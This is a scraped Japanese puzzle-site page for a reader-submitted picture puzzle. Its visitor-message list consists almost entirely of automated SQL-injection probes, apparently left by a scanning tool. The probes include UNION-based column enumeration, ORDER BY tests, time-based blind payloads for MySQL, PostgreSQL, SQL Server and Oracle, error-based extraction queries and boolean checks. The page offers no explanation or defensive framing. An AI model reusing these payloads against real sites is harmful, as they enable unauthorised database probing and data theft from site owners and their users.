作品No.2631 日付:2000/12/13 作者:ピンキーさん (広島県 23才)
説明: パオーン
この作品は、絵のセンス・パズルの完成度、共に優秀だったので、
おもしろかったら作者のピンキーさんへ、一言メッセージを送ってください。
あなたの名前:  ペンネームでいいよ
メッセージ:

いままでに送られた、一言メッセージ
2022/10/31 1 -7719%' UNION ALL SELECT 61,61,61,61,61,61,61,61,61#
2022/10/31 1 -3235%' UNION ALL SELECT 61,61,61,61,61,61,61,61#
2022/10/31 1 -6233%' UNION ALL SELECT 61,61,61,61,61,61,61#
2022/10/31 1 -3705%' UNION ALL SELECT 61,61,61,61,61,61#
2022/10/31 1 -7671%' UNION ALL SELECT 61,61,61,61,61#
2022/10/31 1 -3684%' UNION ALL SELECT 61,61,61,61#
2022/10/31 1 -8822%' UNION ALL SELECT 61,61,61#
2022/10/31 1 -7930%' UNION ALL SELECT 61,61#
2022/10/31 1 -1256%' UNION ALL SELECT 61#
2022/10/31 1 -1726%' ORDER BY 3781#
2022/10/31 1 -9018%' ORDER BY 1#
2022/10/31 1 -5463' UNION ALL SELECT 61,61,61,61,61,61,61,61,61,61#
2022/10/31 1 -9796' UNION ALL SELECT 61,61,61,61,61,61,61,61,61#
2022/10/31 1 -6422' UNION ALL SELECT 61,61,61,61,61,61,61,61#
2022/10/31 1 -8582' UNION ALL SELECT 61,61,61,61,61,61,61#
2022/10/31 1 -9565' UNION ALL SELECT 61,61,61,61,61,61#
2022/10/31 1 -2810' UNION ALL SELECT 61,61,61,61,61#
2022/10/31 1 -9126' UNION ALL SELECT 61,61,61,61#
2022/10/31 1 -4429' UNION ALL SELECT 61,61,61#
2022/10/31 1 -7520' UNION ALL SELECT 61,61#
2022/10/31 1 -7481' UNION ALL SELECT 61#
2022/10/31 1 -2792' ORDER BY 2815#
2022/10/31 1 -9454' ORDER BY 1#
2022/10/31 1 -4410') UNION ALL SELECT 61,61,61,61,61,61,61,61,61,61#
2022/10/31 1 -7839') UNION ALL SELECT 61,61,61,61,61,61,61,61,61#
2022/10/31 1 -7150') UNION ALL SELECT 61,61,61,61,61,61,61,61#
2022/10/31 1 -6135') UNION ALL SELECT 61,61,61,61,61,61,61#
2022/10/31 1 -7619') UNION ALL SELECT 61,61,61,61,61,61#
2022/10/31 1 -9000') UNION ALL SELECT 61,61,61,61,61#
2022/10/31 1 -2594') UNION ALL SELECT 61,61,61,61#
2022/10/31 1 -3203') UNION ALL SELECT 61,61,61#
2022/10/31 1 -6839') UNION ALL SELECT 61,61#
2022/10/31 1 -3549') UNION ALL SELECT 61#
2022/10/31 1 -8469') ORDER BY 9844#
2022/10/31 1 -5791') ORDER BY 1#
2022/10/31 1 -3377 UNION ALL SELECT 61,61,61,61,61,61,61,61,61,61#
2022/10/31 1 -5038 UNION ALL SELECT 61,61,61,61,61,61,61,61,61#
2022/10/31 1 -8747 UNION ALL SELECT 61,61,61,61,61,61,61,61#
2022/10/31 1 -9332 UNION ALL SELECT 61,61,61,61,61,61,61#
2022/10/31 1 -5363 UNION ALL SELECT 61,61,61,61,61,61#
2022/10/31 1 -5779 UNION ALL SELECT 61,61,61,61,61#
2022/10/31 1 -3845 UNION ALL SELECT 61,61,61,61#
2022/10/31 1 -5072 UNION ALL SELECT 61,61,61#
2022/10/31 1 -6970 UNION ALL SELECT 61,61#
2022/10/31 1 -7981 UNION ALL SELECT 61#
2022/10/31 1 -1203 ORDER BY 9483#
2022/10/31 1 -7516 ORDER BY 1#
2022/10/31 1 -2674 UNION ALL SELECT 61,61,61,61,61,61,61,61,61,61#
2022/10/31 1 -8272 UNION ALL SELECT 61,61,61,61,61,61,61,61,61#
2022/10/31 1 -5190 UNION ALL SELECT 61,61,61,61,61,61,61,61#
2022/10/31 1 -9738 UNION ALL SELECT 61,61,61,61,61,61,61#
2022/10/31 1 -1211 UNION ALL SELECT 61,61,61,61,61,61#
2022/10/31 1 -3539 UNION ALL SELECT 61,61,61,61,61#
2022/10/31 1 -7945 UNION ALL SELECT 61,61,61,61#
2022/10/31 1 -7885 UNION ALL SELECT 61,61,61#
2022/10/31 1 -6456 UNION ALL SELECT 61,61#
2022/10/31 1 -6666 UNION ALL SELECT 61#
2022/10/31 1 -9375 ORDER BY 9056#
2022/10/31 1 -1212 ORDER BY 1#
2022/10/31 1 -5252) UNION ALL SELECT 61,61,61,61,61,61,61,61,61,61#
2022/10/31 1 -2875) UNION ALL SELECT 61,61,61,61,61,61,61,61,61#
2022/10/31 1 -4197) UNION ALL SELECT 61,61,61,61,61,61,61,61#
2022/10/31 1 -9131) UNION ALL SELECT 61,61,61,61,61,61,61#
2022/10/31 1 -8040) UNION ALL SELECT 61,61,61,61,61,61#
2022/10/31 1 -9856) UNION ALL SELECT 61,61,61,61,61#
2022/10/31 1 -6104) UNION ALL SELECT 61,61,61,61#
2022/10/31 1 -2367) UNION ALL SELECT 61,61,61#
2022/10/31 1 -6570) UNION ALL SELECT 61,61#
2022/10/31 1 -8791) UNION ALL SELECT 61#
2022/10/31 1 -9047) ORDER BY 2682#
2022/10/31 1 -8774) ORDER BY 1#
2022/10/31 1 -4390%' UNION ALL SELECT 61,61,61,61,61,61,61,61,61,61-- oxil
2022/10/31 1 -3602%' UNION ALL SELECT 61,61,61,61,61,61,61,61,61-- BPMt
2022/10/31 1 -7318%' UNION ALL SELECT 61,61,61,61,61,61,61,61-- Ctdr
2022/10/31 1 -8013%' UNION ALL SELECT 61,61,61,61,61,61,61-- vUPA
2022/10/31 1 -2678%' UNION ALL SELECT 61,61,61,61,61,61-- xYQJ
2022/10/31 1 -6130%' UNION ALL SELECT 61,61,61,61,61-- GAIa
2022/10/31 1 -8311%' UNION ALL SELECT 61,61,61,61-- YNcc
2022/10/31 1 -2681%' UNION ALL SELECT 61,61,61-- EoqR
2022/10/31 1 -2333%' UNION ALL SELECT 61,61-- KMIm
2022/10/31 1 -6978%' UNION ALL SELECT 61-- RSPe
2022/10/31 1 -3741%' ORDER BY 9262-- XdFp
2022/10/31 1 -3056%' ORDER BY 1-- WKNj
2022/10/31 1 -9779' UNION ALL SELECT 61,61,61,61,61,61,61,61,61,61-- vUrG
2022/10/31 1 -7980' UNION ALL SELECT 61,61,61,61,61,61,61,61,61-- tKOR
2022/10/31 1 -5156' UNION ALL SELECT 61,61,61,61,61,61,61,61-- FYNl
2022/10/31 1 -4654' UNION ALL SELECT 61,61,61,61,61,61,61-- GLvN
2022/10/31 1 -9235' UNION ALL SELECT 61,61,61,61,61,61-- jomS
2022/10/31 1 -5959' UNION ALL SELECT 61,61,61,61,61-- OfDm
2022/10/31 1 -4052' UNION ALL SELECT 61,61,61,61-- NxSF
2022/10/31 1 -9175' UNION ALL SELECT 61,61,61-- DeIP
2022/10/31 1 -2196' UNION ALL SELECT 61,61-- ZJBH
2022/10/31 1 -2821' UNION ALL SELECT 61-- deli
2022/10/31 1 -8939' ORDER BY 5658-- smTo
2022/10/31 1 -1943' ORDER BY 1-- wCIY
2022/10/31 1 -6081') UNION ALL SELECT 61,61,61,61,61,61,61,61,61,61-- aeUs
2022/10/31 1 -6508') UNION ALL SELECT 61,61,61,61,61,61,61,61,61-- kCYq
2022/10/31 1 -5852') UNION ALL SELECT 61,61,61,61,61,61,61,61-- vvwr
2022/10/31 1 -9343') UNION ALL SELECT 61,61,61,61,61,61,61-- kyuY
2022/10/31 1 -8363') UNION ALL SELECT 61,61,61,61,61,61-- SdPM
2022/10/31 1 -9260') UNION ALL SELECT 61,61,61,61,61-- cwjV
2022/10/31 1 -5445') UNION ALL SELECT 61,61,61,61-- Imof
2022/10/31 1 -4725') UNION ALL SELECT 61,61,61-- VuTH
2022/10/31 1 -2350') UNION ALL SELECT 61,61-- jDkV
2022/10/31 1 -4711') UNION ALL SELECT 61-- munD
2022/10/31 1 -6249') ORDER BY 7026-- vqww
2022/10/31 1 -7588') ORDER BY 1-- IAsb
2022/10/31 1 -6769 UNION ALL SELECT 61,61,61,61,61,61,61,61,61,61-- GuyB
2022/10/31 1 -1734 UNION ALL SELECT 61,61,61,61,61,61,61,61,61-- iYVc
2022/10/31 1 -8745 UNION ALL SELECT 61,61,61,61,61,61,61,61-- SKhJ
2022/10/31 1 -7748 UNION ALL SELECT 61,61,61,61,61,61,61-- bitB
2022/10/31 1 -2371 UNION ALL SELECT 61,61,61,61,61,61-- mXnZ
2022/10/31 1 -7282 UNION ALL SELECT 61,61,61,61,61-- QWQa
2022/10/31 1 -9621 UNION ALL SELECT 61,61,61,61-- EJHQ
2022/10/31 1 -9302 UNION ALL SELECT 61,61,61-- OKMA
2022/10/31 1 -4908 UNION ALL SELECT 61,61-- Uavr
2022/10/31 1 -9971 UNION ALL SELECT 61-- DCcW
2022/10/31 1 -5420 ORDER BY 7611-- MbNW
2022/10/31 1 -8451 ORDER BY 1-- PzDn
2022/10/31 1 -2638 UNION ALL SELECT 61,61,61,61,61,61,61,61,61,61-- jSyz
2022/10/31 1 -7286 UNION ALL SELECT 61,61,61,61,61,61,61,61,61-- GKnq
2022/10/31 1 -3698 UNION ALL SELECT 61,61,61,61,61,61,61,61-- Xsjk
2022/10/31 1 -8888 UNION ALL SELECT 61,61,61,61,61,61,61-- mEip
2022/10/31 1 -1611 UNION ALL SELECT 61,61,61,61,61,61-- KBIH
2022/10/31 1 -4175 UNION ALL SELECT 61,61,61,61,61-- lCWA
2022/10/31 1 -5928 UNION ALL SELECT 61,61,61,61-- vnzX
2022/10/31 1 -7765 UNION ALL SELECT 61,61,61-- GvhP
2022/10/31 1 -9896 UNION ALL SELECT 61,61-- CvfY
2022/10/31 1 -4165 UNION ALL SELECT 61-- dcai
2022/10/31 1 -3998 ORDER BY 5800-- uGjc
2022/10/31 1 -8002 ORDER BY 1-- pUgI
2022/10/31 1 -9290) UNION ALL SELECT 61,61,61,61,61,61,61,61,61,61-- skfw
2022/10/31 1 -6483) UNION ALL SELECT 61,61,61,61,61,61,61,61,61-- chqr
2022/10/31 1 -1520) UNION ALL SELECT 61,61,61,61,61,61,61,61-- eVEE
2022/10/31 1 -7097) UNION ALL SELECT 61,61,61,61,61,61,61-- smiP
2022/10/31 1 -8404) UNION ALL SELECT 61,61,61,61,61,61-- vezj
2022/10/31 1 -8340) UNION ALL SELECT 61,61,61,61,61-- Bwpv
2022/10/31 1 -1149) UNION ALL SELECT 61,61,61,61-- ANoW
2022/10/31 1 -1340) UNION ALL SELECT 61,61,61-- JtoE
2022/10/31 1 -2226) UNION ALL SELECT 61,61-- WaTS
2022/10/31 1 -9506) UNION ALL SELECT 61-- jBnQ
2022/10/31 1 -8951) ORDER BY 7151-- QUSr
2022/10/31 1 -2589) ORDER BY 1-- gsUW
2022/10/31 1 1%' AND 5008=DBMS_PIPE.RECEIVE_MESSAGE(CHR(72)||CHR(86)||CHR(88)||CHR(67),5) AND '%'='
2022/10/31 1 1' AND 5008=DBMS_PIPE.RECEIVE_MESSAGE(CHR(72)||CHR(86)||CHR(88)||CHR(67),5) AND 'bmvm'='bmvm
2022/10/31 1 1') AND 5008=DBMS_PIPE.RECEIVE_MESSAGE(CHR(72)||CHR(86)||CHR(88)||CHR(67),5) AND ('aUcM'='aUcM
2022/10/31 1 1 AND 5008=DBMS_PIPE.RECEIVE_MESSAGE(CHR(72)||CHR(86)||CHR(88)||CHR(67),5)-- fqMS
2022/10/31 1 1 AND 5008=DBMS_PIPE.RECEIVE_MESSAGE(CHR(72)||CHR(86)||CHR(88)||CHR(67),5)
2022/10/31 1 1) AND 5008=DBMS_PIPE.RECEIVE_MESSAGE(CHR(72)||CHR(86)||CHR(88)||CHR(67),5) AND (9890=9890
2022/10/31 1 1%' WAITFOR DELAY '0:0:5' AND '%'='
2022/10/31 1 1' WAITFOR DELAY '0:0:5' AND 'mJiC'='mJiC
2022/10/31 1 1') WAITFOR DELAY '0:0:5' AND ('WVXa'='WVXa
2022/10/31 1 1 WAITFOR DELAY '0:0:5'-- lwgu
2022/10/31 1 1 WAITFOR DELAY '0:0:5'
2022/10/31 1 1) WAITFOR DELAY '0:0:5' AND (4941=4941
2022/10/31 1 1%' AND 4470=(SELECT 4470 FROM PG_SLEEP(5)) AND '%'='
2022/10/31 1 1' AND 4470=(SELECT 4470 FROM PG_SLEEP(5)) AND 'sWXv'='sWXv
2022/10/31 1 1') AND 4470=(SELECT 4470 FROM PG_SLEEP(5)) AND ('HoMj'='HoMj
2022/10/31 1 1 AND 4470=(SELECT 4470 FROM PG_SLEEP(5))-- pFfx
2022/10/31 1 1 AND 4470=(SELECT 4470 FROM PG_SLEEP(5))
2022/10/31 1 1) AND 4470=(SELECT 4470 FROM PG_SLEEP(5)) AND (8055=8055
2022/10/31 1 1%' AND SLEEP(5) AND '%'='
2022/10/31 1 1' AND SLEEP(5) AND 'kePa'='kePa
2022/10/31 1 1') AND SLEEP(5) AND ('zCRI'='zCRI
2022/10/31 1 1 AND SLEEP(5)-- HCXV
2022/10/31 1 1 AND SLEEP(5)
2022/10/31 1 1) AND SLEEP(5) AND (7452=7452
2022/10/31 1 1%';SELECT DBMS_PIPE.RECEIVE_MESSAGE(CHR(101)||CHR(121)||CHR(112)||CHR(106),5) FROM DUAL--
2022/10/31 1 1';SELECT DBMS_PIPE.RECEIVE_MESSAGE(CHR(101)||CHR(121)||CHR(112)||CHR(106),5) FROM DUAL--
2022/10/31 1 1');SELECT DBMS_PIPE.RECEIVE_MESSAGE(CHR(101)||CHR(121)||CHR(112)||CHR(106),5) FROM DUAL--
2022/10/31 1 1;SELECT DBMS_PIPE.RECEIVE_MESSAGE(CHR(101)||CHR(121)||CHR(112)||CHR(106),5) FROM DUAL--
2022/10/31 1 1);SELECT DBMS_PIPE.RECEIVE_MESSAGE(CHR(101)||CHR(121)||CHR(112)||CHR(106),5) FROM DUAL--
2022/10/31 1 1%';WAITFOR DELAY '0:0:5'--
2022/10/31 1 1';WAITFOR DELAY '0:0:5'--
2022/10/31 1 1');WAITFOR DELAY '0:0:5'--
2022/10/31 1 1;WAITFOR DELAY '0:0:5'--
2022/10/31 1 1);WAITFOR DELAY '0:0:5'--
2022/10/31 1 1%';SELECT PG_SLEEP(5)--
2022/10/31 1 1';SELECT PG_SLEEP(5)--
2022/10/31 1 1');SELECT PG_SLEEP(5)--
2022/10/31 1 1;SELECT PG_SLEEP(5)--
2022/10/31 1 1);SELECT PG_SLEEP(5)--
2022/10/31 1 1%';SELECT SLEEP(5)#
2022/10/31 1 1';SELECT SLEEP(5)#
2022/10/31 1 1');SELECT SLEEP(5)#
2022/10/31 1 1;SELECT SLEEP(5)#
2022/10/31 1 1);SELECT SLEEP(5)#
2022/10/31 1 (SELECT CHAR(113)+CHAR(107)+CHAR(107)+CHAR(118)+CHAR(113)+(SELECT (CASE WHEN (9155=9155) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(113)+CHAR(106)+CHAR(118)+CHAR(113))
2022/10/31 1 (SELECT (CHR(113)||CHR(107)||CHR(107)||CHR(118)||CHR(113))||(SELECT (CASE WHEN (1877=1877) THEN 1 ELSE 0 END))::text||(CHR(113)||CHR(113)||CHR(106)||CHR(118)||CHR(113)))
2022/10/31 1 (SELECT CONCAT(0x716b6b7671,(SELECT (ELT(4977=4977,1))),0x71716a7671))
2022/10/31 1 (SELECT 5364 FROM(SELECT COUNT(*),CONCAT(0x716b6b7671,(SELECT (ELT(5364=5364,1))),0x71716a7671,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)
2022/10/31 1 1%' AND 9509=(SELECT UPPER(XMLType(CHR(60)||CHR(58)||CHR(113)||CHR(107)||CHR(107)||CHR(118)||CHR(113)||(SELECT (CASE WHEN (9509=9509) THEN 1 ELSE 0 END) FROM DUAL)||CHR(113)||CHR(113)||CHR(106)||CHR(118)||CHR(113)||CHR(62))) FROM DUAL) AND '%'='
2022/10/31 1 1' AND 9509=(SELECT UPPER(XMLType(CHR(60)||CHR(58)||CHR(113)||CHR(107)||CHR(107)||CHR(118)||CHR(113)||(SELECT (CASE WHEN (9509=9509) THEN 1 ELSE 0 END) FROM DUAL)||CHR(113)||CHR(113)||CHR(106)||CHR(118)||CHR(113)||CHR(62))) FROM DUAL) AND 'aCzV'='aCzV
2022/10/31 1 1') AND 9509=(SELECT UPPER(XMLType(CHR(60)||CHR(58)||CHR(113)||CHR(107)||CHR(107)||CHR(118)||CHR(113)||(SELECT (CASE WHEN (9509=9509) THEN 1 ELSE 0 END) FROM DUAL)||CHR(113)||CHR(113)||CHR(106)||CHR(118)||CHR(113)||CHR(62))) FROM DUAL) AND ('uWzX'='uWzX
2022/10/31 1 1 AND 9509=(SELECT UPPER(XMLType(CHR(60)||CHR(58)||CHR(113)||CHR(107)||CHR(107)||CHR(118)||CHR(113)||(SELECT (CASE WHEN (9509=9509) THEN 1 ELSE 0 END) FROM DUAL)||CHR(113)||CHR(113)||CHR(106)||CHR(118)||CHR(113)||CHR(62))) FROM DUAL)-- qxdz
2022/10/31 1 1 AND 9509=(SELECT UPPER(XMLType(CHR(60)||CHR(58)||CHR(113)||CHR(107)||CHR(107)||CHR(118)||CHR(113)||(SELECT (CASE WHEN (9509=9509) THEN 1 ELSE 0 END) FROM DUAL)||CHR(113)||CHR(113)||CHR(106)||CHR(118)||CHR(113)||CHR(62))) FROM DUAL)
2022/10/31 1 1) AND 9509=(SELECT UPPER(XMLType(CHR(60)||CHR(58)||CHR(113)||CHR(107)||CHR(107)||CHR(118)||CHR(113)||(SELECT (CASE WHEN (9509=9509) THEN 1 ELSE 0 END) FROM DUAL)||CHR(113)||CHR(113)||CHR(106)||CHR(118)||CHR(113)||CHR(62))) FROM DUAL) AND (7699=7699
2022/10/31 1 1%' AND 2879=CONVERT(INT,(SELECT CHAR(113)+CHAR(107)+CHAR(107)+CHAR(118)+CHAR(113)+(SELECT (CASE WHEN (2879=2879) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(113)+CHAR(106)+CHAR(118)+CHAR(113))) AND '%'='
2022/10/31 1 1' AND 2879=CONVERT(INT,(SELECT CHAR(113)+CHAR(107)+CHAR(107)+CHAR(118)+CHAR(113)+(SELECT (CASE WHEN (2879=2879) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(113)+CHAR(106)+CHAR(118)+CHAR(113))) AND 'jjKq'='jjKq
2022/10/31 1 1') AND 2879=CONVERT(INT,(SELECT CHAR(113)+CHAR(107)+CHAR(107)+CHAR(118)+CHAR(113)+(SELECT (CASE WHEN (2879=2879) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(113)+CHAR(106)+CHAR(118)+CHAR(113))) AND ('KoCg'='KoCg
2022/10/31 1 1 AND 2879=CONVERT(INT,(SELECT CHAR(113)+CHAR(107)+CHAR(107)+CHAR(118)+CHAR(113)+(SELECT (CASE WHEN (2879=2879) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(113)+CHAR(106)+CHAR(118)+CHAR(113)))-- xfZP
2022/10/31 1 1 AND 2879=CONVERT(INT,(SELECT CHAR(113)+CHAR(107)+CHAR(107)+CHAR(118)+CHAR(113)+(SELECT (CASE WHEN (2879=2879) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(113)+CHAR(106)+CHAR(118)+CHAR(113)))
2022/10/31 1 1) AND 2879=CONVERT(INT,(SELECT CHAR(113)+CHAR(107)+CHAR(107)+CHAR(118)+CHAR(113)+(SELECT (CASE WHEN (2879=2879) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(113)+CHAR(106)+CHAR(118)+CHAR(113))) AND (4215=4215
2022/10/31 1 1%' AND 6972=CAST((CHR(113)||CHR(107)||CHR(107)||CHR(118)||CHR(113))||(SELECT (CASE WHEN (6972=6972) THEN 1 ELSE 0 END))::text||(CHR(113)||CHR(113)||CHR(106)||CHR(118)||CHR(113)) AS NUMERIC) AND '%'='
2022/10/31 1 1' AND 6972=CAST((CHR(113)||CHR(107)||CHR(107)||CHR(118)||CHR(113))||(SELECT (CASE WHEN (6972=6972) THEN 1 ELSE 0 END))::text||(CHR(113)||CHR(113)||CHR(106)||CHR(118)||CHR(113)) AS NUMERIC) AND 'BLEk'='BLEk
2022/10/31 1 1') AND 6972=CAST((CHR(113)||CHR(107)||CHR(107)||CHR(118)||CHR(113))||(SELECT (CASE WHEN (6972=6972) THEN 1 ELSE 0 END))::text||(CHR(113)||CHR(113)||CHR(106)||CHR(118)||CHR(113)) AS NUMERIC) AND ('rkxg'='rkxg
2022/10/31 1 1 AND 6972=CAST((CHR(113)||CHR(107)||CHR(107)||CHR(118)||CHR(113))||(SELECT (CASE WHEN (6972=6972) THEN 1 ELSE 0 END))::text||(CHR(113)||CHR(113)||CHR(106)||CHR(118)||CHR(113)) AS NUMERIC)-- ySQq
2022/10/31 1 1 AND 6972=CAST((CHR(113)||CHR(107)||CHR(107)||CHR(118)||CHR(113))||(SELECT (CASE WHEN (6972=6972) THEN 1 ELSE 0 END))::text||(CHR(113)||CHR(113)||CHR(106)||CHR(118)||CHR(113)) AS NUMERIC)
2022/10/31 1 1) AND 6972=CAST((CHR(113)||CHR(107)||CHR(107)||CHR(118)||CHR(113))||(SELECT (CASE WHEN (6972=6972) THEN 1 ELSE 0 END))::text||(CHR(113)||CHR(113)||CHR(106)||CHR(118)||CHR(113)) AS NUMERIC) AND (8041=8041
2022/10/31 1 1%' AND (SELECT 8151 FROM(SELECT COUNT(*),CONCAT(0x716b6b7671,(SELECT (ELT(8151=8151,1))),0x71716a7671,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND '%'='
2022/10/31 1 1' AND (SELECT 8151 FROM(SELECT COUNT(*),CONCAT(0x716b6b7671,(SELECT (ELT(8151=8151,1))),0x71716a7671,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND 'irvq'='irvq
2022/10/31 1 1') AND (SELECT 8151 FROM(SELECT COUNT(*),CONCAT(0x716b6b7671,(SELECT (ELT(8151=8151,1))),0x71716a7671,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND ('OQhT'='OQhT
2022/10/31 1 1 AND (SELECT 8151 FROM(SELECT COUNT(*),CONCAT(0x716b6b7671,(SELECT (ELT(8151=8151,1))),0x71716a7671,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)-- ElCs
2022/10/31 1 1 AND (SELECT 8151 FROM(SELECT COUNT(*),CONCAT(0x716b6b7671,(SELECT (ELT(8151=8151,1))),0x71716a7671,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)
2022/10/31 1 1) AND (SELECT 8151 FROM(SELECT COUNT(*),CONCAT(0x716b6b7671,(SELECT (ELT(8151=8151,1))),0x71716a7671,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND (2121=2121
2022/10/31 1 (SELECT (CASE WHEN (1980=1980) THEN 1980 ELSE 1980*(SELECT 1980 FROM INFORMATION_SCHEMA.CHARACTER_SETS) END))
2022/10/31 1 (SELECT (CASE WHEN (9748=4723) THEN 9748 ELSE 9748*(SELECT 9748 FROM INFORMATION_SCHEMA.CHARACTER_SETS) END))
2022/10/31 1 1%' AND 5386=5386 AND '%'='
2022/10/31 1 1%' AND 9826=2816 AND '%'='
2022/10/31 1 1' AND 5386=5386 AND 'ieuZ'='ieuZ
2022/10/31 1 1' AND 8392=7080 AND 'BQnw'='BQnw
2022/10/31 1 1') AND 5386=5386 AND ('WkNq'='WkNq
2022/10/31 1 1') AND 3582=2351 AND ('ZhQk'='ZhQk
2022/10/31 1 1 AND 5386=5386-- SXKs
2022/10/31 1 1 AND 2014=1180-- JEAm
2022/10/31 1 1 AND 5386=5386
2022/10/31 1 1 AND 4315=2255
2022/10/31 1 1) AND 5386=5386 AND (9311=9311
2022/10/31 1 1) AND 3335=1393 AND (8750=8750
2022/10/31 1 1'twChZo'"ZSrscO
2022/10/31 1 1,(."'.'''"
2022/10/31 -5568%' UNION ALL SELECT 61,61,61,61,61,61,61,61,61,61# 1
2022/10/31 -5713%' UNION ALL SELECT 61,61,61,61,61,61,61,61,61# 1
2022/10/31 -1248%' UNION ALL SELECT 61,61,61,61,61,61,61,61# 1
2022/10/31 -6000%' UNION ALL SELECT 61,61,61,61,61,61,61# 1
2022/10/31 -2416%' UNION ALL SELECT 61,61,61,61,61,61# 1
2022/10/31 -7174%' UNION ALL SELECT 61,61,61,61,61# 1
2022/10/31 -1150%' UNION ALL SELECT 61,61,61,61# 1
2022/10/31 -6962%' UNION ALL SELECT 61,61,61# 1
2022/10/31 -8693%' UNION ALL SELECT 61,61# 1
2022/10/31 -7683%' UNION ALL SELECT 61# 1
2022/10/31 -3190%' ORDER BY 2959# 1
2022/10/31 -2081%' ORDER BY 1# 1
2022/10/31 -7042' UNION ALL SELECT 61,61,61,61,61,61,61,61,61,61# 1
2022/10/31 -1480' UNION ALL SELECT 61,61,61,61,61,61,61,61,61# 1
2022/10/31 -5399' UNION ALL SELECT 61,61,61,61,61,61,61,61# 1
2022/10/31 -8160' UNION ALL SELECT 61,61,61,61,61,61,61# 1
2022/10/31 -5947' UNION ALL SELECT 61,61,61,61,61,61# 1
2022/10/31 -5247' UNION ALL SELECT 61,61,61,61,61# 1
2022/10/31 -8037' UNION ALL SELECT 61,61,61,61# 1
2022/10/31 -8451' UNION ALL SELECT 61,61,61# 1
2022/10/31 -5886' UNION ALL SELECT 61,61# 1
2022/10/31 -4911' UNION ALL SELECT 61# 1
2022/10/31 -5088' ORDER BY 9248# 1
2022/10/31 -6136' ORDER BY 1# 1
2022/10/31 -2535') UNION ALL SELECT 61,61,61,61,61,61,61,61,61,61# 1
2022/10/31 -6459') UNION ALL SELECT 61,61,61,61,61,61,61,61,61# 1
2022/10/31 -5425') UNION ALL SELECT 61,61,61,61,61,61,61,61# 1
2022/10/31 -8195') UNION ALL SELECT 61,61,61,61,61,61,61# 1
2022/10/31 -3910') UNION ALL SELECT 61,61,61,61,61,61# 1
2022/10/31 -3161') UNION ALL SELECT 61,61,61,61,61# 1
2022/10/31 -2654') UNION ALL SELECT 61,61,61,61# 1
2022/10/31 -9764') UNION ALL SELECT 61,61,61# 1
2022/10/31 -3765') UNION ALL SELECT 61,61# 1
2022/10/31 -8445') UNION ALL SELECT 61# 1
2022/10/31 -2496') ORDER BY 8549# 1
2022/10/31 -7835') ORDER BY 1# 1
2022/10/31 -1835 UNION ALL SELECT 61,61,61,61,61,61,61,61,61,61# 1
2022/10/31 -6427 UNION ALL SELECT 61,61,61,61,61,61,61,61,61# 1
2022/10/31 -7885 UNION ALL SELECT 61,61,61,61,61,61,61,61# 1
2022/10/31 -7526 UNION ALL SELECT 61,61,61,61,61,61,61# 1
2022/10/31 -6558 UNION ALL SELECT 61,61,61,61,61,61# 1
2022/10/31 -1764 UNION ALL SELECT 61,61,61,61,61# 1
2022/10/31 -9569 UNION ALL SELECT 61,61,61,61# 1
2022/10/31 -4928 UNION ALL SELECT 61,61,61# 1
2022/10/31 -2280 UNION ALL SELECT 61,61# 1
2022/10/31 -7606 UNION ALL SELECT 61# 1
2022/10/31 -4347 ORDER BY 8867# 1
2022/10/31 -1988 ORDER BY 1# 1
2022/10/31 -9636 UNION ALL SELECT 61,61,61,61,61,61,61,61,61,61# 1
